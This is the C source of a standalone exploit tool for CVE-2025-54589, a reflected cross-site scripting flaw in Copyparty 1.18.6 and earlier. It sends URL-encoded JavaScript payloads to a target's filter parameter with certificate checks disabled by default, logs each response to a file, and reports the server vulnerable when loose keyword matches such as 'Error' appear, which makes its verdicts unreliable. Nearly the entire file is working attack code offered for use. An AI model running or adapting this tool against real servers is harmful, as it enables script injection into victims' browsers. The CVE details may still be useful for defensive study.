/* * Author : Byte Reaper * CVE : CVE-2025-54589 * Title : Copyparty 1.18.6 - Reflected Cross-Site Scripting (XSS) * CVE-2025-54589 is a reflected cross-site scripting (XSS) vulnerability in Copyparty (≤ 1.18.6) where the filter parameter is inserted into the HTML response without proper sanitization, allowing an attacker to inject and execute arbitrary JavaScript in a victim’s browser */ #include #include #include #include #include #include "argparse.h" #include #include #include #include #define FULL_URL 2500 #define COLOR_RESET "\e[0m" #define COLOR_RED "\e[1;31m" #define COLOR_GRN "\e[1;32m" #define COLOR_YEL "\e[1;33m" #define COLOR_BLU "\e[1;34m" #define COLOR_CYN "\e[1;36m" #define COLOR_WHT "\e[1;37m" #define COLOR_PUR "\e[1;35m" #define PRINT_OK(fmt, ...) print_color(COLOR_GRN, "" fmt, ##__VA_ARGS__) #define PRINT_ERR(fmt, ...) print_color(COLOR_RED, "" fmt, ##__VA_ARGS__) #define PRINT_WARN(fmt, ...) print_color(COLOR_YEL, "" fmt, ##__VA_ARGS__) #define PRINT_INFO(fmt, ...) print_color(COLOR_BLU, "" fmt, ##__VA_ARGS__) #define PRINT_NOTE(fmt, ...) print_color(COLOR_CYN, "" fmt, ##__VA_ARGS__) int verbose = 0; int useC = 0; const char *ipT = NULL; int portT = 0; const char *cookies = NULL; const char *caFile = NULL; int sCa = 0; int useColor = 1; int useHttp = 0; void print_color(const char *color, const char *fmt, ...) { va_list args; va_start(args, fmt); if (useColor) { printf("%s", color); } vprintf(fmt, args); if (useColor) { printf("%s", COLOR_RESET); } va_end(args); } void exitAssembly() { __asm__ volatile ( "xor %%rdi, %%rdi\n\t" "mov $231, %%rax\n\t" "syscall\n\t" : : : "rax", "rdi" ); } struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { PRINT_ERR("[-] Failed to allocate memory!\n"); exitAssembly(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } const char *payloadXss[] = { "", "javascript:alert(XSS);", "javascript:alert(byte);" }; int number = sizeof(payloadXss) / sizeof(payloadXss[0]); const char *wordF[] = { "Error", "Exception", "Invalid", "XSS", "", "alert(1)", "syntax", "unexpected", "undefined", "NaN", "stack trace", "TypeError", "ReferenceError", "Warning", "Access denied", "eval(", "byte", }; int numberW = sizeof(wordF) / sizeof(wordF[0]); void auto_detect_color() { if (!isatty(fileno(stdout))) { useColor = 0; } } void senR(const char *ip, int port) { char full[FULL_URL]; CURLcode res ; CURL *curl = curl_easy_init(); struct Mem response ; response.buffer= NULL; response.len = 0; for (int h = 0; h < number ; h++) { if (!curl) { PRINT_ERR("[-] Error Create Object Curl !\n"); PRINT_ERR("[-] Check Your Connection\n"); exitAssembly(); } if (verbose) { PRINT_OK("==========================================\n"); PRINT_OK("[1;33m[+] Cleaning Response...\n"); PRINT_OK("[1;33m[+] Response Buffer : NULL\n"); PRINT_OK("[1;33m[+] Response Len : 0\n"); PRINT_OK("==========================================\n"); } if (curl) { char *payloadE = curl_easy_escape(curl, payloadXss[h], 0); struct curl_slist *headers = NULL; if (!payloadE) { PRINT_ERR("[-] Error Encode Payload !\e[0m\n"); curl_slist_free_all(headers); curl_easy_cleanup(curl); exitAssembly(); } const char *proto = useHttp ? "http" : "https"; int len1 = snprintf(full, sizeof(full), "%s://%s:%d/?filter=%s", proto, ip, port, payloadE); if (len1 >= sizeof(full)) { PRINT_ERR("[-] URL too long\n"); exitAssembly(); } PRINT_INFO("[+] Encode Payload : %s\n", payloadXss[h]); PRINT_INFO("[+] Encode Payload Successfully.\n"); PRINT_INFO("[+] Payload Encode : %s\n", payloadE); PRINT_INFO("[+] target IP : %s\n", ip); printf("[+] Full Url : %s\n", full); printf("[+] Port : %d\n", port); curl_easy_setopt(curl, CURLOPT_URL, full); curl_free(payloadE); if (useC) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); usleep(1500000); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); if (sCa) { curl_easy_setopt(curl, CURLOPT_CAINFO, caFile); } else { curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); } headers = curl_slist_append(headers, "Accept-Language: en-US,en"); headers = curl_slist_append(headers, "Connection: keep-alive"); char refR[120]; int lenF = snprintf(refR, sizeof(refR), "Referer: http://%s:%d", ip, port); if (lenF < 0 || (size_t)lenF >= sizeof(refR)) { PRINT_ERR("[-] Len Header Referer is Long ! \n"); response.buffer = NULL; response.len = 0; curl_slist_free_all(headers); curl_easy_cleanup(curl); exitAssembly(); } headers = curl_slist_append(headers, refR); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); if (verbose) { PRINT_OK("------------------------------------------[Verbose Curl]------------------------------------------\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } res = curl_easy_perform(curl); curl_slist_free_all(headers); if (res == CURLE_OK) { PRINT_OK("-----------------------------------------------------------------\n"); long httpCode = 0; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); PRINT_INFO("[+] Request sent successfully\e[0m\n"); PRINT_OK("[+] Http Code -> %ld\e[0m\n", httpCode); FILE *log = fopen("results.txt", "a"); if (log == NULL) { PRINT_ERR("[-] Error Create File !\n"); exitAssembly(); } if (log) { fprintf(log, "[+] Target: %s:%d | Payload: %s\n", ip, port, payloadXss[h]); fprintf(log, "[+] Response : \n%s\n", response.buffer); fclose(log); } if (httpCode >= 200 && httpCode < 300) { PRINT_OK("[+] Http Code (200 < 300) : %ld\n",httpCode); for (int s = 0; s < numberW ; s++) { if (strstr(response.buffer, wordF[s]) != NULL) { PRINT_INFO("[+] A suspicious word was found in the server's response !!\n"); PRINT_INFO("[+] Word Found : %s\n", wordF[s]); PRINT_NOTE("[+] The vulnerability CVE-2025-54589 exists on the server\n"); PRINT_OK("\n======================================== [Response Server] ========================================\n"); printf("%s\n", response.buffer); printf("[Len] : %zu\n", response.len); PRINT_OK("\n==================================================================================================\n"); } } } else { PRINT_ERR("[-] HTTP Code Not Range Positive (200 < 300) : %ld\n", httpCode); PRINT_ERR("[+] Try Next Payload : %s\e[0m\n", payloadXss[h]); } } else { PRINT_ERR("[-] Error Send Request\n"); PRINT_ERR("[-] Error : %s\e[0m\n", curl_easy_strerror(res)); exitAssembly(); } } } if (response.buffer) { free(response.buffer); response.buffer = NULL; response.len = 0; } curl_easy_cleanup(curl); } int main(int argc, const char **argv) { curl_global_init(CURL_GLOBAL_DEFAULT); printf( "▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▖▖▄▖▄▖▄▖\n" "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▙▖▙▌▙▖▙▌▙▌\n" "▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ ▄▌ ▌▄▌▙▌▄▌\n" "Byte Reaper\n" ); int noColor = 0; struct argparse_option options[] = { OPT_HELP(), OPT_STRING('i', "ip", &ipT, "Target IP "), OPT_STRING('c', "cookies", &cookies, "cookies File"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_INTEGER('p', "port", &portT, "Enter Target Port"), OPT_STRING('a', "ca" , &caFile, "Enter Name File CA\n"), OPT_BOOLEAN('t', "http", &useHttp, "HTTP Protocol"), OPT_BOOLEAN('n', "no-color", &noColor, "Disable colored output"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (ipT == NULL) { PRINT_ERR("[-] Please Enter Target Ip And Port !\n"); PRINT_ERR("[-] Ex : ./exploit -i -p \n"); PRINT_ERR("[-] Exit Syscall\n"); curl_global_cleanup(); exitAssembly(); }; printf("---------------------------------------------------------------------\n\n"); printf("[+] Start Exploit XSS (CVE-2025-54589)...\n"); if (cookies) { useC = 1; } if (verbose) { verbose = 1; } if (!portT) { printf("[+] Default Port : %d\n", 3923); portT = 3923; } if (caFile) { sCa = 1; } if (useColor) { useColor = 1; } if (noColor) { useColor = 0; } if (useHttp) { useHttp = 1; } auto_detect_color(); senR(ipT, portT); curl_global_cleanup(); return 0; }